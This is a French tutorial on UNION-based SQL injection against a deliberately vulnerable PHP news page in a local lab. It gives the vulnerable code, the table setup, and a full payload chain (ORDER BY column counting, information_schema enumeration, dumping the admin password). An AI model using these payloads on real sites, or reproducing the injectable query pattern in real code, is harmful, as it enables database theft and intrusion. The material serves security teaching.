Pour dynamiser un site on est très souvent amené à utiliser des bases de données afin de stocker des informations. Par exemple, un site d'information stockera ses news dans sa base de donnée. Pour parler avec cette base de données le développeur va utiliser un langage spécial : le SQL.
-- Exemple d'une requête simple SELECT titre,auteur,contenu FROM news WHERE id = 1337
Maintenant, imaginons que chaque news est chargé dynamiquement à partir d'un paramètre de l'URL
<?php mysql_connect("localhost","root","root"); mysql_select_db("sqli"); $news = mysql_query("SELECT titre,auteur,contenu FROM news WHERE id = ".$_GET['id']); $news = mysql_fetch_assoc($news); echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>"; echo "<p>".$news['contenu']."</p>";
La sélection de la news se fait en fonction de la variable GET id. Par exemple, news.php?id=1 affichera la première news, et ainsi de suite …
Le soucis dans ce code c'est que la variable GET est utilisée directement dans la requête SQL. Le client malveillant contrôle parfaitement cette variable et peu donc à tout moment modifier le comportement de la requête afin de sélectionner ce que bon lui semble dans la base de donnée. C'est le principe de l'injection SQL.
On va étudier le cas d'une page qui affiche des news stockées dans une base de donnée. Notre but va être de récupérer le mot de passe de l'administrateur qui est stocké dans la base de donnée. Nous allons faire comme si nous ne connaissons pas la structure de la base de données. Nous utilisons une base de donnée MySQL 5. Afin que vous puissiez reproduire ce scénario chez vous, si vous le souhaitez, voici les différentes requêtes pour créer les tables ainsi que le script PHP.
-- -- Structure de la table `news` -- CREATE TABLE `news` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `titre` VARCHAR(255) NOT NULL, `auteur` VARCHAR(255) NOT NULL, `contenu` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=3 ; -- -- Contenu de la table `news` -- INSERT INTO `news` VALUES(1, 'Première news', 'tlk', 'Contenu première news'); INSERT INTO `news` VALUES(2, 'Seconde news', 'tlk', 'Contenu seconde news'); -- -------------------------------------------------------- -- -- Structure de la table `users` -- CREATE TABLE `users` ( `id` INT(11) NOT NULL AUTO_INCREMENT, `name` VARCHAR(255) NOT NULL, `password` VARCHAR(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- Contenu de la table `users` -- INSERT INTO `users` VALUES(1, 'administrateur', 'SuperPass');
<?php mysql_connect("localhost","root","root"); mysql_select_db("sqli"); $news = mysql_query("SELECT titre,auteur,contenu FROM news WHERE id = ".$_GET['id']) or die(mysql_error()); $news = mysql_fetch_assoc($news); echo "<h1>".$news['titre']."</h1> par <i>".$news['auteur']."</i><br/>"; echo "<p>".$news['contenu']."</p>";
D'après la documentation de MySQL la clause UNION sert à « combiner le résultat de plusieurs requêtes SELECT en un seul résultat ». C'est exactement comme si on faisait deux requêtes séparément et que les tableaux résultants de ces requêtes était mis à la suite l'un de l'autre. Les deux requêtes doivent donc générer un tableau de même taille pour que la fusion se fasse correctement. Dans le cadre d'un UNION, si les deux résultats ne font pas la même taille, MySQL reverra une erreur.
Par exemple
SELECT id FROM news UNION SELECT 1,2
nous renvois
#1222 - The used SELECT statements have a different number of columns
Maintenant
SELECT id,titre FROM news UNION SELECT 1,2
nous renvois
ID | Titre |
---|---|
1 | Première news |
2 | Seconde news |
1 | 2 |
On remarque ici que le résultat de la requête que l'on contrôle est mis à la suite de la première. Notre page affichera donc uniquement la première news, or ce que nous désirons, c'est afficher le résultat de notre propre requête. Il faut donc que la première requête ne renvois aucun résultat.
SELECT id,titre FROM news WHERE id=-1 UNION SELECT 1,2
ID | Titre |
---|---|
1 | 2 |
Le résultat est bien celui attendu
Comme on vient de le voir, il est nécessaire de connaître le nombre de colonnes de la première requête pour faire fonctionner correctement le UNION.
Une technique très simple existe : ORDER BY. La clause ORDER BY permet de trier le tableau résultant de la requête en fonction d'une colonne, de manière croissante ou décroissante. Il est non seulement possible de renseigner cette colonne par son nom, mais aussi par son identifiant, la première colonne portant l'identifiant 1, la seconde 2, etc … Il est donc très facile de connaître le nombre de colonne d'une requête dont on contrôle une partie.
http://localhost/news.php?id=1 ORDER BY 1
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 2
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 3
Pas d'erreur.
http://localhost/news.php?id=1 ORDER BY 4
Unknown column '4' in 'order clause'
On peut donc en conclure que la requête porte sur 3 colonnes. Notre requête utilisée pour le UNION devra donc elle aussi comporter 3 colonnes.
Afin de maximiser les chances de trouver ce que nous cherchons, il est possible de lister toutes les bases de données présentent sur le serveur. La liste des bases de données est disponible dans la table schemata de la base de donnée information_schema. Plus d'information concernant la base de données information_schema
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata
La page renvoyée par cette requête ressemble à ça :
1 par 2 information_schema,sqli
Ici notre première requête ne renvois aucun résultat. La seconde requête elle renvois la liste des bases de données séparées par une virgule. Il en sera ainsi pour toutes les données extraites.
De la même manière que la liste des bases de données, la liste des tables de chaque base de données se trouve dans la base de données information_schema mais dans la table tables. Classiquement, on liste les tables de la base de données courante.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = database()
news,users
Les colonnes d'une table peuvent se trouver facilement grâce à la table columns de la base de données information_schema.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users'
id,name,password
Nous possédons toutes les données nécessaire pour extraire des informations intéressante de la base de donnée. En l'occurrence les informations des utilisateurs.
http://localhost/index.php?id=-1 UNION SELECT 1,2,group_concat(id,0x202D20,name,0x202D20,password) FROM users
1 - administrateur - SuperPass
Ici, chaque tuple de la table users sera affiché et séparé par une virgule. Le group_concat réalise cette opération. Chaque tuple est affiché sous la forme id - name - password. Le 0x202D20 correspond en fait à l'espace et au tiret qui sépare chaque colonne.